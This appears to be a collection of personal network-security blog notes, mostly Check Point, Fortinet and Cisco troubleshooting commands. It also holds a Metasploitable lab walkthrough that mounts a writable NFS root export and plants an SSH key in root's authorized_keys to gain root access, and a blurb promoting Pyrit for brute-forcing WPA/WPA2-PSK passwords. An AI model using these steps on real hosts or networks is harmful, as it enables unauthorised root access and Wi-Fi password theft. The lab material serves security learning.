sessions (msfconsole)

Is there a background session?

sessions

.
.
list the sessions established
.
.

to connect one of them

sessions -i [session_id]

Unix Fundamentals - NFS Service / Attack Illustration

look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p 192.168.99.131

.
.
.

    100003    2   tcp   2049  nfs

    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

.
.
.

root@ubuntu:~# showmount -e 192.168.99.131



Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: 


root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

mount.nf: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd. 
mount.nfs: an incorrect mount option was specified.


This is the message you get when you try to mount the NFS export. 

restarting nfs-common is not enough

• service nfs-common restart

restarting rpc will resolve the issue.

• service rpcbind restart

root@ubuntu:~# cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys 


ssh root@192.168.99.131 

//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay. 

root@metasploitable:~#



The environment include Kali and Metasploitable II.

Reference:
https://community.rapid7.com/docs/DOC-1875 

Debug Policy Install

Debugging a manual policy pull from the enforcement point, and push from the SmartCenter, like so:

fw -d fetch <SmartCenter server IP address>

• fw -d fetchlocal -d $FWDIR/state/__tmp/FW1 &> <output file>

cpd.elg files from $CPDIR/log from the firewall



Push from the Smart Center to enforcement point;

fwm -d load policy_name gateway_name 2> <filename>.txt

Policy installation fails with "ERROR: function or table < pgm_len_block_code > undefined" and ".../conf/updates.def"

SYMPTOMS

After upgrading a Security Management to R76, policy installation in SmartDashboard fails with the following errors: "/opt/.../conf/updates.def", line N: ERROR: syntax error "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: function or table < pgm_len_block_code > undefined "/opt/.../conf/<Policy_Name>.pf", line N: ERROR: syntax error Compilation failed. Operation ended with errors. Debug of FWM daemon (per sk86186) shows the same 'ERROR: syntax error'. Hotfix for IPv6 flavor issue from sk92933 does not help.

CAUSE

IPS definitions are not up-to-date, or do not exist. SOLUTION Perform IPS Update in SmartDashboard. The issue occurred on R77 env. as well.

"du" //du -sh

grand!

Pyrit -WPA/WPA2-PSK Epic Fail-

Pyrit allows to create massive databases, pre-computing part of the IEEE 802.11 WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the computational power of Many-Core- and other platforms through ATI-Stream, Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.

WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from themaster key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog.

https://code.google.com/p/pyrit/

R77 is now available!

It seems to be the best one ever.

What's New in R77

New Threat Emulation Software Blade

The new Threat Emulation Software Blade blocks attacks which cannot be detected by signatures. It opens inspected files inside secure emulation environments to detect malicious behavior. It can be deployed as a cloud service or as a private (local) cloud.

New Check Point Compliance Blade

This new Software Blade analyzes your environment for compliance with major regulations and international standards. Check Point Compliance Blade generates detailed reports, with best practice recommendations taken from the large Check Point library. Check Point Compliance Blade sends alerts for policy changes that can affect compliance.

HyperSPECT Technology

Improvements to deep packet inspection engines boost performance for IPS and for Application and URL Filtering Software Blades Software Blades.

• Supports SMT (Hyper-Threading)
• Optimizations to DPI engines including streamers, parsers and pattern matching engines

Gaia Operating System Enhancements

• Centrally manage basic network configuration
• Back up and restore, run scripts, remote shell, and more, from a central console
• Synchronize cluster members with Gaia OS configuration cloning

Enhanced Gaia Software Updates

Update the Gaia operating system with the enhanced Automated Software Updates tool:

• Clean install of full image and upgrade of optimally sized package from the Check Point Cloud
• Up to 90% less downtime for Security Gateway upgrade
• Export and import of Gaia software update packages
• New WebUI features with enhanced usability

Enhanced Identity Awareness

• New identity acquisition method: RADIUS Accounting
• Automatic update of LDAP group membership changes
• Improved Identity Agent installation, with support for repair tools
• New MSI configuration tool for Agent distribution

...

a lot more at;

https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk92965

Sending Syslog flow to an External Log Server

Dear Checkpoint Fellows and Followers,

Syslog data is possible to be sent as shown in sk33423, however only from physical boxes.

If you have VSX infrastructure, it is not possible to send syslogs of each vsx customer to another syslog server. All and all..

Sincerely.

Checkpoint R77

Very excited to test the new blades! :)

Check Point R75.47 Released!

The release notes and the resolved issues, it’s mainly a maintenance or bug fix version.

There are a lot of fixed bugs.

It would be good to install the version firstly within the test environment, and then get it into production a.s.a.p.

License Info Tool / Checkpoint

License Tool for Checkpoint. I found it pretty useful actually as the license issues seem complicated most often. My Products > License Info Tool.

Fortinet Upgrade Procedures

The upgrade processes have usually been a issue with Check Point. However, it is unbelievably easy for security vendor Fortinet (even in the cluster env.)

- .out file is downloaded from the support site.
- it is uploaded through GUI.

then, all process goes on automatically; firstly the active member is upgraded with losing 4 - 6 ping packets, and then 2-3 ping lost while  upgrading the second member.

I suppose the reason is truly the architecture difference behind these boxes.

New Titles are Upcoming

- Arbor
- McAfee
- Fortinet

Network Troubleshooting - Cisco Packet Flow

To be or not to be.
Incoming or Outgoing Packets, sometimes understanding these two subjects are very vital in troubleshooting process.

ip access-list  extended gre-debug-out

permit gre any any log // optional 

permit ip any any log

ip access-list  extended gre-debug-in

permit gre any any log // optional

permit ip any any log

interface GigabitEthernet0/1

ip access-group gre-debug-in in

ip access-group gre-debug-out out


Here it is; 

show ip access-list gre-debug-in

show ip access-list gre-debug-out out

believe me you will like the result..

:)

Identity Awareness - User & Machine Identification

Even though you see users and/or machines as acquired in Smart Dashboard, pdp monitor is the place where AD query comes in. If you do not see users/machines in pdp monitor, It means that Check Point did not actually acquire the users/machines.

pdp monitor all |more

pdp monitor all |grep machine/username

IPS Update: ips scheduled update ended with errors

Check the internet connection on SMC and Check dns config to see updates.checkpoint.com resolves to an IP.

To manually update the IPS database;

1- Close all GUI applications,
2- Open a GUIDBEdit to the SMC (Application:GuiDBedit.exe)
3- Search (Search->Find) for: autoupdate_and_install_status_obj

Once found you will see a field named status under that object.

4- Change the value of status 0
5- Save changes,close GUIDBEDIT
6- Open Dashboard and verify if the issue resolved.

Note : There is a fix for this issue, Request it from Support.

ClusterXL - Do not Consume Public IPs for ClusterXL

Configuring Cluster Addresses on Different Subnets

Only one routable IP address is required in a ClusterXL cluster, for the virtual cluster interface that faces the Internet. All cluster member physical IP addresses can be non-routable.Configuring different subnets for the cluster IP addresses and the member addresses is useful in order to:

- Enable a multi-machine cluster to replace a single-machine gateway in a pre-configured network, without the need to allocate new addresses to the cluster members.
- Allow organizations to use only one routable address for the ClusterXL Gateway Cluster. This saves routable addresses.

ClusterXL virtual IPs and your members physical (or VLAN) interfaces do not need to be on the same subnet. So you can simply use whichever addresses you like for each of the cluster interfaces (apart from internal/management and external/VPN-routable interfaces obviously). And of course this applies to physical untagged interfaces unlike our case too.
I settled for using  tiny Class B private space /30 subnets for each VLAN, enough for just our 2 cluster members like this. The topology would then look like this.

Beware of the spoofing and routing

Now here’s just 2 catches with this configuration. First off, anti-spoofing will apply to the members local interface network and not the ClusterXL virtual one, so you can’t use the comfortable “Network defined by the interface IP and Net Mask” setting unless you want all your traffic dropped/detected as spoofed. Instead just define a specific subnet object representing the ClusterXL interface subnet.

The second thing which shortly caused some headache for me was that SPLAT/Gaia wouldn’t know where it needs to route the public subnet. Now that the physical interfaces to those subnets had different IPs, the OS naturally lacked the proper routing information and would forward traffic through the default route.
To solve this, I added static interface-based routes for each public subnet like this. To my confusion however, they didn’t help and seemed to have no effect.  Checking the firewall nodes routing table via SSH confirmed that there was no corresponding entry present.

Instead I had to issue the following in expert mode on the nodes to activate my routes:
# route add -net 47.88.145.40/29 eth8.356
The routing table would now look like this:
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
172.31.255.16   0.0.0.0         255.255.255.252 U     0      0        0 eth8.356
47.88.145.40    0.0.0.0         255.255.255.248 U     0      0        0 eth8.356

On the new Gaia CLI it looks like this:
> show route
Codes: C – Connected, S – Static, R – RIP, B – BGP,
       O – OSPF IntraArea (IA – InterArea, E – External, N – NSSA)
       A – Aggregate, K – Kernel Remnant, H – Hidden, P – Suppressed
C     47.88.145.40/29     is directly connected, eth8.356
C     172.31.255.16/30    is directly connected, eth8.356
The route command in expert mode alone doesn’t survive a reboot, you still need to set all routes in the Gaia/SPLAT CLI/Webinterface on all members. I confirmed that the routes are being applied properly after a reboot. Also, static routes using Gateway IPs do not need a reboot either, so this seems like a bug specific to using interface-based routes.

http://alpacapowered.wordpress.com/2012/08/23/running-check-point-clusterxl-member-interfaces-on-different-subnets-than-the-virtual-interfaces/ 

Smart Event & Reporter (CPU Peaks)

# evstop

# rm –r * $RTDIR/distrib/*

# evstart

SmartEvent konsolu içersinden policy install yapalım.

If not resolved,

# fw debug cpsemd on TDERROR_ALL_ALL=5

# fw debug cpsead on TDERROR_ALL_ALL=5

to end debug;

# fw debug cpsemd off TDERROR_ALL_ALL=0

# fw debug cpsead off TDERROR_ALL_ALL=0

Then check these files $RTDIR/log/cpsemd.elg* and $RTDIR/log/cpsead.elg*

Check Point - Identity Awareness (Security Event Logs)

Check Point Identity Awareness (had to supply all PDC in order to capture all IA.)

AD Query reads these events from the Security Event log:
 On Windows Server 2003 domain controllers - 672, 673, 674
 On Windows Server 2008 domain controllers - 4624, 4769, 4768, 4770

If the domain controller does not generate these events (by default they are generated), refer to Microsoft Active Directory documentation for instructions on how to configure these events.

VPN Debugging – Check Point

Vpn debug on – vpn debug off

$FWDIR/log/vpnd.elg

Vpn debug ikeon // vpn debug ikeoff

$FWDIR/log/ike.elg

vpn tu // remove all Sas for either the peer which are about the create the tunnel or all tunnels.

fw monitor –e ‘accept src=IP or dst=IP;’